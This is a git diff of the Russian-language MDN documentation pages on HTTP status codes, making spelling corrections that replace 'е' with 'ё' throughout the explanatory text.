b/files/ru/web/http/status/204/index.html index c874bd3e14..299a8c9b81 100644 --- a/files/ru/web/http/status/204/index.html +++ b/files/ru/web/http/status/204/index.html @@ -5,9 +5,9 @@ translation_of: Web/HTTP/Status/204 --- <div>{{HTTPSidebar}}</div> -<p>"The HTTP <strong><code>204 No Content"</code></strong> код ответа статуса успеха указывает, что запрос имеет успех, но что клиенту не нужно уходить со своей текущей страницы. По умолчанию ответ <strong>204</strong> кэшируется. В такой ответ включен {{HTTPHeader("ETag")}}.</p> +<p>"The HTTP <strong><code>204 No Content"</code></strong> код ответа статуса успеха указывает, что запрос имеет успех, но что клиенту не нужно уходить со своей текущей страницы. По умолчанию ответ <strong>204</strong> кэшируется. В такой ответ включён {{HTTPHeader("ETag")}}.</p> -<p>Общим вариантом использования является возвращение <strong>204</strong> в результате запроса {{HTTPMethod("PUT")}}, обновления ресурса, без изменения текущего содержимого страницы, отображаемой пользователю. Если ресурс создан, вместо него возвращается {{HTTPStatus("201")}} <strong>Created</strong>. Если страница должна быть изменена на вновь обновленную страницу, вместо нее следует использовать {{HTTPStatus("200")}}.</p> +<p>Общим вариантом использования является возвращение <strong>204</strong> в результате запроса {{HTTPMethod("PUT")}}, обновления ресурса, без изменения текущего содержимого страницы, отображаемой пользователю. Если ресурс создан, вместо него возвращается {{HTTPStatus("201")}} <strong>Created</strong>. Если страница должна быть изменена на вновь обновлённую страницу, вместо неё следует использовать {{HTTPStatus("200")}}.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/206/index.html b/files/ru/web/http/status/206/index.html index d34fac6443..a670db7fd3 100644 --- a/files/ru/web/http/status/206/index.html +++ b/files/ru/web/http/status/206/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTTP/Status/206 <p>"The HTTP <strong><code>206 Partial Content"</code></strong>код ответа на статус успешного указывает, что запрос преуспел, и тело содержит запрошенные диапазоны данных, как описано в {{HTTPHeader("Range")}} запроса</p> -<p>Если существует только один диапазон, {{HTTPHeader("Content-Type")}} всего ответа задается типом документа, а также {{HTTPHeader("Content-Range")}}</p> +<p>Если существует только один диапазон, {{HTTPHeader("Content-Type")}} всего ответа задаётся типом документа, а также {{HTTPHeader("Content-Range")}}</p> <p>Если несколько диапазонов отправлены обратно, {{HTTPHeader("Content-Type")}} задано значение <strong>multipart/byteranges</strong>, и каждый фрагмент охватывает один диапазон, {{HTTPHeader("Content-Range")}} и {{HTTPHeader("Content-Type")}}, описывающий его.</p> </div> diff --git a/files/ru/web/http/status/301/index.html b/files/ru/web/http/status/301/index.html index 8456c79e66..3020b45294 100644 --- a/files/ru/web/http/status/301/index.html +++ b/files/ru/web/http/status/301/index.html @@ -9,9 +9,9 @@ translation_of: Web/HTTP/Status/301 --- <div>{{HTTPSidebar}}</div> -<p>Код перенаправления "<code><strong>301</strong></code><strong><code> Moved Permanently</code></strong>" протокола передачи гипертекста (HTTP) показывает, что запрошенный ресурс был окончательно перемещен в URL, указанный в заголовке {{HTTPHeader("Location")}}. Браузер в случае такого ответа перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (говоря языком SEO, вес страницы переносится на новый URL-адрес).</p> +<p>Код перенаправления "<code><strong>301</strong></code><strong><code> Moved Permanently</code></strong>" протокола передачи гипертекста (HTTP) показывает, что запрошенный ресурс был окончательно перемещён в URL, указанный в заголовке {{HTTPHeader("Location")}}. Браузер в случае такого ответа перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (говоря языком SEO, вес страницы переносится на новый URL-адрес).</p> -<p>Даже если спецификация требует, чтобы при выполнении перенаправления, метод и тело запроса не изменялись, не все пользовательские приложения обращают на это внимание, и вы все еще можете столкнуться с программами имеющими этот баг. Именно поэтому код <strong>301 </strong>рекомендуется только в качестве ответа на {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос, а для {{HTTPMethod("POST")}} рекомендуется код {{HTTPStatus("308", "308 Permanent Redirect")}}, так как он явно запрещает изменение метода запроса.</p> +<p>Даже если спецификация требует, чтобы при выполнении перенаправления, метод и тело запроса не изменялись, не все пользовательские приложения обращают на это внимание, и вы все ещё можете столкнуться с программами имеющими этот баг. Именно поэтому код <strong>301 </strong>рекомендуется только в качестве ответа на {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос, а для {{HTTPMethod("POST")}} рекомендуется код {{HTTPStatus("308", "308 Permanent Redirect")}}, так как он явно запрещает изменение метода запроса.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/302/index.html b/files/ru/web/http/status/302/index.html index 34c5344642..f04eaea946 100644 --- a/files/ru/web/http/status/302/index.html +++ b/files/ru/web/http/status/302/index.html @@ -9,11 +9,11 @@ translation_of: Web/HTTP/Status/302 --- <div>{{HTTPSidebar}}</div> -<p>HTTP код перенаправления <code><strong>302</strong></code><strong><code> Found</code></strong> означает, что запрошенный ресурс был временно перемещен по адресу, указанному в заголовке {{HTTPHeader("Location")}}. Получив такой ответ браузер перенаправляется на новую страницу, но поисковые системы не обновляют свои ссылки на ресурс (в жаргоне SEO говорят, что вес ссылки (link-juice) не меняется и не отправляется на новый URL-адрес).</p> +<p>HTTP код перенаправления <code><strong>302</strong></code><strong><code> Found</code></strong> означает, что запрошенный ресурс был временно перемещён по адресу, указанному в заголовке {{HTTPHeader("Location")}}. Получив такой ответ браузер перенаправляется на новую страницу, но поисковые системы не обновляют свои ссылки на ресурс (в жаргоне SEO говорят, что вес ссылки (link-juice) не меняется и не отправляется на новый URL-адрес).</p> <p>Несмотря на требование спецификации не изменять при перенаправлении метод и тело запроса, не все программные клиенты выполняют его, и с некоторыми из них можно столкнуться до сих пор. Поэтому рекомендуется установить код <code>302</code> только как ответ для методов {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}. Для остальных случаев лучше использовать код {{HTTPStatus("307", "307 Temporary Redirect")}}, поскольку в этом случае изменение метода явно запрещено.</p> -<p>В тех случаях, когда вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте код {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, но является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).</p> +<p>В тех случаях, когда вы хотите, чтобы используемый метод был изменён на {{HTTPMethod("GET")}}, используйте код {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, но является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/307/index.html b/files/ru/web/http/status/307/index.html index 38cdf13766..6978f10cfe 100644 --- a/files/ru/web/http/status/307/index.html +++ b/files/ru/web/http/status/307/index.html @@ -9,9 +9,9 @@ translation_of: Web/HTTP/Status/307 --- <div>{{HTTPSidebar}}</div> -<p>{{Glossary("HTTP")}} код перенаправления <code><strong>307</strong> Temporary Redirect</code> означает, что запрошенный ресурс был временно перемещен в URL-адрес, указанный в заголовке {{HTTPHeader("Location")}}.</p> +<p>{{Glossary("HTTP")}} код перенаправления <code><strong>307</strong> Temporary Redirect</code> означает, что запрошенный ресурс был временно перемещён в URL-адрес, указанный в заголовке {{HTTPHeader("Location")}}.</p> -<p>Метод и тело исходного запроса повторно используются для выполнения перенаправленного запроса. Если вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, а является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).</p> +<p>Метод и тело исходного запроса повторно используются для выполнения перенаправленного запроса. Если вы хотите, чтобы используемый метод был изменён на {{HTTPMethod("GET")}}, используйте {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, а является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).</p> <p>Единственное различие между <code>307</code> и {{HTTPStatus("302")}} состоит в том, что <code>307</code> гарантирует, что метод и тело не будут изменены при выполнении перенаправленного запроса. В случае с кодом <code>302</code> некоторые старые клиенты неправильно меняли метод на {{HTTPMethod("GET")}}, из-за чего поведение запросов с методом отличным от <code>GET</code> и ответа с кодом <code>302</code> непредсказуемо, тогда как поведение в случае ответа с кодом <code>307</code> предсказуемо. Для запросов <code>GET</code> поведение идентично.</p> diff --git a/files/ru/web/http/status/308/index.html b/files/ru/web/http/status/308/index.html index 6416f1cf9c..be80d3e6c4 100644 --- a/files/ru/web/http/status/308/index.html +++ b/files/ru/web/http/status/308/index.html @@ -5,9 +5,9 @@ translation_of: Web/HTTP/Status/308 --- <div>{{HTTPSidebar}}</div> -<p>Код ответа на статус перенаправления "HTTP <code><strong>308</strong></code><strong><code> Permanent Redirect"</code></strong> указывает, что запрошенный ресурс был окончательно перемещен в URL-адрес, указанный в {{HTTPHeader("Location")}}. Браузер перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (в SEO-speak говорится, что link-juice отправляется на новый URL-адрес).</p> +<p>Код ответа на статус перенаправления "HTTP <code><strong>308</strong></code><strong><code> Permanent Redirect"</code></strong> указывает, что запрошенный ресурс был окончательно перемещён в URL-адрес, указанный в {{HTTPHeader("Location")}}. Браузер перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (в SEO-speak говорится, что link-juice отправляется на новый URL-адрес).</p> -<p>Метод запроса и тело не будут изменены, тогда как {{HTTPStatus("301")}} иногда может быть неправильно заменен на {{HTTPHeader("GET")}} метод.</p> +<p>Метод запроса и тело не будут изменены, тогда как {{HTTPStatus("301")}} иногда может быть неправильно заменён на {{HTTPHeader("GET")}} метод.</p> <div class="note"> <p>Некоторые веб-приложения могут использовать <strong>308 Permanent Redirect</strong> нестандартным образом и для других целей. Например, Google Drive использует ответ <strong>308 Resume Incomplete</strong>, чтобы указать клиенту, когда неполная загрузка застопорилась.<a href="https://developers.google.com/drive/v3/web/manage-uploads#resumable">[1]</a></p> diff --git a/files/ru/web/http/status/401/index.html b/files/ru/web/http/status/401/index.html index e093e7d774..021606e74a 100644 --- a/files/ru/web/http/status/401/index.html +++ b/files/ru/web/http/status/401/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/401 --- <div>{{HTTPSidebar}}</div> -<p>Код ответа на статус ошибки HTTP <code>401 Unauthorized </code>клиента указывает, что запрос не был применен, поскольку ему не хватает действительных учетных данных для целевого ресурса.</p> +<p>Код ответа на статус ошибки HTTP <code>401 Unauthorized </code>клиента указывает, что запрос не был применён, поскольку ему не хватает действительных учётных данных для целевого ресурса.</p> <p>Этот статус отправляется с {{HTTPHeader("WWW-Authenticate")}}, который содержит информацию о правильности авторизации.</p> diff --git a/files/ru/web/http/status/402/index.html b/files/ru/web/http/status/402/index.html index 93b58f1dd6..09007391c1 100644 --- a/files/ru/web/http/status/402/index.html +++ b/files/ru/web/http/status/402/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/402 <p>HTTP-ответ <strong><code>402 Payment Required</code></strong> это нестандартная ошибка клиента, зарезервированная для использования в будущем.</p> -<p>Иногда этот код означает, что запрос не может быть выполнен до тех пор, пока клиент не совершит оплату. Изначально создан для активации цифровых средств или (микро) платежных систем и изображает, что запрошенный контент недоступен пока клиент не совершит оплату. Так или иначе, стандартизованного использования для кода нет, и он может использоваться разными элементами в разном контексте.</p> +<p>Иногда этот код означает, что запрос не может быть выполнен до тех пор, пока клиент не совершит оплату. Изначально создан для активации цифровых средств или (микро) платёжных систем и изображает, что запрошенный контент недоступен пока клиент не совершит оплату. Так или иначе, стандартизованного использования для кода нет, и он может использоваться разными элементами в разном контексте.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/403/index.html b/files/ru/web/http/status/403/index.html index 42f95f5f95..459b45c551 100644 --- a/files/ru/web/http/status/403/index.html +++ b/files/ru/web/http/status/403/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/403 <p>Код ответа на статус ошибки "HTTP 403 Forbidden" указывает, что сервер понял запрос, но отказывается его авторизовать.</p> -<p>Этот статус похож на {{HTTPStatus("401")}}, но в этом случае повторная аутентификация не будет иметь никакого значения. Доступ запрещен и привязан к логике приложения (например, у пользователя не хватает прав доступа к запрашиваемому ресурсу).</p> +<p>Этот статус похож на {{HTTPStatus("401")}}, но в этом случае повторная аутентификация не будет иметь никакого значения. Доступ запрещён и привязан к логике приложения (например, у пользователя не хватает прав доступа к запрашиваемому ресурсу).</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/405/index.html b/files/ru/web/http/status/405/index.html index afea810f1b..8259e60b6d 100644 --- a/files/ru/web/http/status/405/index.html +++ b/files/ru/web/http/status/405/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/405 --- <div>{{HTTPSidebar}}</div> -<p>Код состояния протокола HTTP <code><strong>405</strong></code><strong><code> Method Not Allowed</code></strong>, указывает, что метод запроса известен серверу, но был отключен и не может быть использован. Два обязательных метода {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} никогда не должны быть отключены и не должны возвращать этот код ошибки.</p> +<p>Код состояния протокола HTTP <code><strong>405</strong></code><strong><code> Method Not Allowed</code></strong>, указывает, что метод запроса известен серверу, но был отключён и не может быть использован. Два обязательных метода {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} никогда не должны быть отключены и не должны возвращать этот код ошибки.</p> <p>Сервер ОБЯЗАН сгенерировать поле заголовка <code><strong>Allow</strong></code> в ответе с кодом 405, которое содержит список текущих доступных методов ресурса.</p> diff --git a/files/ru/web/http/status/406/index.html b/files/ru/web/http/status/406/index.html index 1e61d4a6f7..6a402c4529 100644 --- a/files/ru/web/http/status/406/index.html +++ b/files/ru/web/http/status/406/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTTP/Status/406 --- <div>{{HTTPSidebar}}</div> -<p>HyperText Transfer Protocol (HTTP) код ошибки клиента <code><strong>406</strong></code><strong><code> Not Acceptable</code></strong> означает, что сервер не может вернуть ответ, соответствующий списку допустимых значений, определенных в заголовках упреждающего <a href="/ru/docs/Web/HTTP/Content_negotiation">согласования контента</a>, и что сервер не желает вернуть представление контента по умолчанию.</p> +<p>HyperText Transfer Protocol (HTTP) код ошибки клиента <code><strong>406</strong></code><strong><code> Not Acceptable</code></strong> означает, что сервер не может вернуть ответ, соответствующий списку допустимых значений, определённых в заголовках упреждающего <a href="/ru/docs/Web/HTTP/Content_negotiation">согласования контента</a>, и что сервер не желает вернуть представление контента по умолчанию.</p> <p>Заголовки упреждающего согласования контента включают:</p> @@ -19,7 +19,7 @@ translation_of: Web/HTTP/Status/406 <li>{{HTTPHeader("Accept-Language")}}</li> </ul> -<p>На практике эта ошибка очень редко используется. Вместо ответа с использованием этого кода ошибки, который может быть загадочным для конечного пользователя и трудным для исправления, серверы игнорируют соответствующий заголовок и предоставляют актуальную страницу для пользователя. Предполагается, что даже если пользователь не будет полностью удовлетворён, он предпочтет это коду ошибки.</p> +<p>На практике эта ошибка очень редко используется. Вместо ответа с использованием этого кода ошибки, который может быть загадочным для конечного пользователя и трудным для исправления, серверы игнорируют соответствующий заголовок и предоставляют актуальную страницу для пользователя. Предполагается, что даже если пользователь не будет полностью удовлетворён, он предпочтёт это коду ошибки.</p> <p>Если сервер возвращает такой код ошибки, тело сообщения должно содержать список доступных представлений ресурсов, позволяя вручную выбирать между ними.</p> diff --git a/files/ru/web/http/status/407/index.html b/files/ru/web/http/status/407/index.html index 4f66630555..ddbd433687 100644 --- a/files/ru/web/http/status/407/index.html +++ b/files/ru/web/http/status/407/index.html @@ -6,7 +6,7 @@ translation_of: Web/HTTP/Status/407 <div> <p>{{HTTPSidebar}}</p> -<p>HTTP <strong><code>407 Proxy Authentication Required </code></strong>код ответа на ошибку клиента указывает, что запрос не был применен, поскольку он не имеет достоверных учетных данных для {{Glossary("proxy server")}}, который находится между браузером и сервером, который может получить доступ к запрашиваемому ресурсу..</p> +<p>HTTP <strong><code>407 Proxy Authentication Required </code></strong>код ответа на ошибку клиента указывает, что запрос не был применён, поскольку он не имеет достоверных учётных данных для {{Glossary("proxy server")}}, который находится между браузером и сервером, который может получить доступ к запрашиваемому ресурсу..</p> <p>Этот статус отправляется с {{HTTPHeader("Proxy-Authenticate")}}, который содержит информацию о том, как правильно разрешить авторизацию.</p> </div> diff --git a/files/ru/web/http/status/408/index.html b/files/ru/web/http/status/408/index.html index 9f0f0de305..d7950cd91c 100644 --- a/files/ru/web/http/status/408/index.html +++ b/files/ru/web/http/status/408/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Status/408 <p>Сервер должен отправить заголовок {{HTTPHeader("Connection")}} со значением «close» в ответ, поскольку <strong>408</strong> подразумевает, что сервер решил закрыть соединение, а не продолжать ждать.</p> -<p>Этот ответ используется гораздо больше, поскольку некоторые браузеры, такие как Chrome, Firefox 27+ или IE9, используют механизмы предварительного подключения HTTP для ускорения серфинга. Также обратите внимание, что некоторые серверы просто закрывают соединение без отправки этого сообщения.</p> +<p>Этот ответ используется гораздо больше, поскольку некоторые браузеры, такие как Chrome, Firefox 27+ или IE9, используют механизмы предварительного подключения HTTP для ускорения сёрфинга. Также обратите внимание, что некоторые серверы просто закрывают соединение без отправки этого сообщения.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/411/index.html b/files/ru/web/http/status/411/index.html index 9c7899a650..f3986bf132 100644 --- a/files/ru/web/http/status/411/index.html +++ b/files/ru/web/http/status/411/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/411 --- <div>{{HTTPSidebar}}</div> -<p>Код ответа на ошибку <code><strong>411</strong></code><strong><code> Length Required</code></strong> указывает, что сервер отказывается принять запрос без определенного {{HTTPHeader("Content-Length")}}. </p> +<p>Код ответа на ошибку <code><strong>411</strong></code><strong><code> Length Required</code></strong> указывает, что сервер отказывается принять запрос без определённого {{HTTPHeader("Content-Length")}}. </p> <p>Обратите внимание, что по спецификации при отправке данных в ряд фрагментов<strong> Content-Length</strong> опущен, и в начале каждого фрагмента вам нужно добавить длину текущего фрагмента в шестнадцатеричном формате. Подробнее смотрите {{HTTPHeader("Transfer-Encoding")}}.</p> diff --git a/files/ru/web/http/status/412/index.html b/files/ru/web/http/status/412/index.html index a3b7883952..8aa82d8d03 100644 --- a/files/ru/web/http/status/412/index.html +++ b/files/ru/web/http/status/412/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/412 --- <div>{{HTTPSidebar}}</div> -<p>The HTTP <code><strong>412</strong></code><strong><code> Precondition Failed</code></strong> клиентский код ответа на ошибку указывает, что доступ к целевому ресурсу был отклонен. Это происходит с условными запросами на методы, отличные от {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}, когда условие определено {{HTTPHeader("If-Unmodified-Since")}} или {HTTPHeader("If-None-Match")}} не выполняется. В этом случае запрос, обычно загрузка или изменение ресурса, не может быть выполнен, и этот ответ об ошибке отправляется обратно.</p> +<p>The HTTP <code><strong>412</strong></code><strong><code> Precondition Failed</code></strong> клиентский код ответа на ошибку указывает, что доступ к целевому ресурсу был отклонён. Это происходит с условными запросами на методы, отличные от {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}, когда условие определено {{HTTPHeader("If-Unmodified-Since")}} или {HTTPHeader("If-None-Match")}} не выполняется. В этом случае запрос, обычно загрузка или изменение ресурса, не может быть выполнен, и этот ответ об ошибке отправляется обратно.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/413/index.html b/files/ru/web/http/status/413/index.html index e0383192a9..a74302c9cd 100644 --- a/files/ru/web/http/status/413/index.html +++ b/files/ru/web/http/status/413/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/413 --- <div>{{HTTPSidebar}}</div> -<p>Код HTTP <code><strong>413 Payload Too Large</strong></code> , указывает, что объект запроса больше, чем ограничения, определенные сервером; сервер может закрыть соединение или вернуть поле {{HTTPHeader("Retry-After")}}.</p> +<p>Код HTTP <code><strong>413 Payload Too Large</strong></code> , указывает, что объект запроса больше, чем ограничения, определённые сервером; сервер может закрыть соединение или вернуть поле {{HTTPHeader("Retry-After")}}.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/416/index.html b/files/ru/web/http/status/416/index.html index d7035dfb3f..ae3c93df73 100644 --- a/files/ru/web/http/status/416/index.html +++ b/files/ru/web/http/status/416/index.html @@ -11,7 +11,7 @@ translation_of: Web/HTTP/Status/416 <p>Код ошибки HTTP <strong>416 Range Not Satisfiable</strong> указывает, что сервер не может обслуживать запрошенные диапазоны. Наиболее вероятная причина заключается в том, что документ не содержит таких диапазонов или что значение {{HTTPHeader ("Range")}}, хотя и синтаксически корректно, не имеет смысла.</p> -<p>Сообщение ответа 416 содержит {{HTTPHeader("Content-Range")}}, указывающий на неудовлетворенный диапазон (это <code>'*'</code>), за которым следуют <code>'/'</code> и текущий ресурс. Например: <code>Content-Range: */12777</code></p> +<p>Сообщение ответа 416 содержит {{HTTPHeader("Content-Range")}}, указывающий на неудовлетворённый диапазон (это <code>'*'</code>), за которым следуют <code>'/'</code> и текущий ресурс. Например: <code>Content-Range: */12777</code></p> <p>Столкнувшись с этой ошибкой, браузеры обычно либо прерывают операцию (например, загрузка будет считаться не возобновляемой), либо снова запрашиваются ведь документ.</p> diff --git a/files/ru/web/http/status/425/index.html b/files/ru/web/http/status/425/index.html index 179d9cb1e2..10f524c77e 100644 --- a/files/ru/web/http/status/425/index.html +++ b/files/ru/web/http/status/425/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Status/425 --- <div>{{SeeCompatTable}}{{HTTPSidebar}}</div> -<p>Код ответа протокола передачи гипертекста (HTTP) <code><strong>425 Too Early</strong></code> означает, что сервер не хочет рисковать обрабатывать запрос, который может быть воспроизведенным, поскольку это открывает возможность для атаки повторного воспроизведения.</p> +<p>Код ответа протокола передачи гипертекста (HTTP) <code><strong>425 Too Early</strong></code> означает, что сервер не хочет рисковать обрабатывать запрос, который может быть воспроизведённым, поскольку это открывает возможность для атаки повторного воспроизведения.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/429/index.html b/files/ru/web/http/status/429/index.html index bfec2e5cc5..ce6c8a0110 100644 --- a/files/ru/web/http/status/429/index.html +++ b/files/ru/web/http/status/429/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/429 <p>HTTP <code><strong>429 Too Many Requests</strong></code> код ответа указывает, что пользователь отправил слишком много запросов за последнее временя ("ограничение скорости" или "rate limiting" ).</p> -<p>В этот ответ может быть включен {{HTTPHeader("Retry-After")}}, указывающий, как долго ждать нового запроса.</p> +<p>В этот ответ может быть включён {{HTTPHeader("Retry-After")}}, указывающий, как долго ждать нового запроса.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/431/index.html b/files/ru/web/http/status/431/index.html index 691fb74671..02f4032c02 100644 --- a/files/ru/web/http/status/431/index.html +++ b/files/ru/web/http/status/431/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Status/431 <p>Его можно использовать, если общее количество полей заголовка запроса слишком велико или когда одно поле заголовка слишком велико.</p> -<p>Эта ошибка не должна происходить в хорошо проверенных производственных системах, но ее можно найти чаще при тестировании новой системы.</p> +<p>Эта ошибка не должна происходить в хорошо проверенных производственных системах, но её можно найти чаще при тестировании новой системы.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/451/index.html b/files/ru/web/http/status/451/index.html index 426cde0317..5c5336f84d 100644 --- a/files/ru/web/http/status/451/index.html +++ b/files/ru/web/http/status/451/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTTP/Status/451 <h2 id="Пример">Пример</h2> -<p>Этот пример ответа берется из IETF RFC (см. ниже) и содержит ссылку на {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.</p> +<p>Этот пример ответа берётся из IETF RFC (см. ниже) и содержит ссылку на {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.</p> <p>Обратите внимание, что {{HTTPHeader("Link")}}также может содержать отношение a <code>rel="blocked-by"</code>, идентифицирующее объект, ответственный за недоступный ресурс, например имя человека или организации, которые предъявили законный запрос В результате чего удаление содержимого.</p> diff --git a/files/ru/web/http/status/500/index.html b/files/ru/web/http/status/500/index.html index 0e64be8339..2e77fa5c00 100644 --- a/files/ru/web/http/status/500/index.html +++ b/files/ru/web/http/status/500/index.html @@ -34,7 +34,7 @@ translation_of: Web/HTTP/Status/500 <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden"><span id="result_box" lang="ru"><span>Таблица совместимости на этой странице создается из структурированных данных.</span></span> Е<span id="result_box" lang="ru"><span>сли вы хотите внести свой вклад в эти данные, пожалуйста, перейдите на </span></span><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и пришлите нам "pull-request" запрос.</p> +<p class="hidden"><span id="result_box" lang="ru"><span>Таблица совместимости на этой странице создаётся из структурированных данных.</span></span> Е<span id="result_box" lang="ru"><span>сли вы хотите внести свой вклад в эти данные, пожалуйста, перейдите на </span></span><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и пришлите нам "pull-request" запрос.</p> <p>{{Compat("http.status.500")}}</p> diff --git a/files/ru/web/http/status/511/index.html b/files/ru/web/http/status/511/index.html index de17af10eb..55cbc8cc62 100644 --- a/files/ru/web/http/status/511/index.html +++ b/files/ru/web/http/status/511/index.html @@ -7,9 +7,9 @@ translation_of: Web/HTTP/Status/511 <p>The HTTP <code><strong>511 Network Authentication Required</strong></code> код состояния ответа указывает, что клиент должен пройти аутентификацию, чтобы получить доступ к сети.</p> -<p>Этот статус не генерируется серверами происхождения, а путем перехвата прокси-серверов, которые контролируют доступ к сети.</p> +<p>Этот статус не генерируется серверами происхождения, а путём перехвата прокси-серверов, которые контролируют доступ к сети.</p> -<p>Сетевые операторы иногда требуют некоторой аутентификации, принятия условий или другого взаимодействия с пользователем перед предоставлением доступа (например, в интернет-кафе или в аэропорту). Они часто идентифицируют клиентов, которые еще не сделали этого, используя свой адрес Media Access Control ({{Glossary("MAC")}}).</p> +<p>Сетевые операторы иногда требуют некоторой аутентификации, принятия условий или другого взаимодействия с пользователем перед предоставлением доступа (например, в интернет-кафе или в аэропорту). Они часто идентифицируют клиентов, которые ещё не сделали этого, используя свой адрес Media Access Control ({{Glossary("MAC")}}).</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/index.html b/files/ru/web/http/status/index.html index 38b076f287..4b8b0ffd4b 100644 --- a/files/ru/web/http/status/index.html +++ b/files/ru/web/http/status/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTTP/Status <tr> <td>102</td> <td>Processing</td> - <td>"В обработке". Этот код указывает, что сервер получил запрос и обрабатывает его, но обработка еще не завершена.</td> + <td>"В обработке". Этот код указывает, что сервер получил запрос и обрабатывает его, но обработка ещё не завершена.</td> <td>Только HTTP/1.1</td> </tr> <tr> @@ -135,7 +135,7 @@ translation_of: Web/HTTP/Status <td id="301">301</td> <td>Moved Permanently</td> <td> - <p>"Перемещён на постоянной основе". Этот код ответа значит, что <span id="result_box" lang="ru"><span>URI </span><span>запрашиваемого</span> <span>ресурса</span> <span>был изменен</span><span>.</span> <span>Возможно,</span> <span>новый</span> <span>URI </span></span><span lang="ru"><span>будет </span></span>предоставлен <span lang="ru"><span>в ответе.</span></span></p> + <p>"Перемещён на постоянной основе". Этот код ответа значит, что <span id="result_box" lang="ru"><span>URI </span><span>запрашиваемого</span> <span>ресурса</span> <span>был изменён</span><span>.</span> <span>Возможно,</span> <span>новый</span> <span>URI </span></span><span lang="ru"><span>будет </span></span>предоставлен <span lang="ru"><span>в ответе.</span></span></p> </td> <td>HTTP/0.9 and later</td> </tr> @@ -143,7 +143,7 @@ translation_of: Web/HTTP/Status <td id="302">302</td> <td>Found</td> <td> - <p>"Найдено". Этот код ответа значит, что запрошенный ресурс <em>временно изменен</em>. <span id="result_box" lang="ru"><span>Новые</span> <span>изменения в</span> <span>URI</span> <span>могут быть</span></span> доступны в <span id="result_box" lang="ru"><span>будущем</span></span>. <span id="result_box" lang="ru"><span>Таким образом,</span> этот<span> </span><span>URI,</span> <span>должен</span> <span>быть использован</span> <span>клиентом</span> <span>в</span> <span>будущих запросах</span><span>.</span></span></p> + <p>"Найдено". Этот код ответа значит, что запрошенный ресурс <em>временно изменён</em>. <span id="result_box" lang="ru"><span>Новые</span> <span>изменения в</span> <span>URI</span> <span>могут быть</span></span> доступны в <span id="result_box" lang="ru"><span>будущем</span></span>. <span id="result_box" lang="ru"><span>Таким образом,</span> этот<span> </span><span>URI,</span> <span>должен</span> <span>быть использован</span> <span>клиентом</span> <span>в</span> <span>будущих запросах</span><span>.</span></span></p> </td> <td>HTTP/0.9 and later</td> </tr> @@ -156,7 +156,7 @@ translation_of: Web/HTTP/Status <tr> <td id="304">304</td> <td>Not Modified</td> - <td>"Не модифицировано". Используется для кэширования. Это код ответа значит, что запрошенный ресурс не был изменен. Таким образом, клиент может продолжать использовать кэшированную версию ответа.</td> + <td>"Не модифицировано". Используется для кэширования. Это код ответа значит, что запрошенный ресурс не был изменён. Таким образом, клиент может продолжать использовать кэшированную версию ответа.</td> <td>HTTP/0.9 and later</td> </tr> <tr> @@ -205,7 +205,7 @@ translation_of: Web/HTTP/Status <tr> <td id="402">402</td> <td>Payment Required</td> - <td>"Необходима оплата". Этот код ответа зарезервирован для будущего использования. 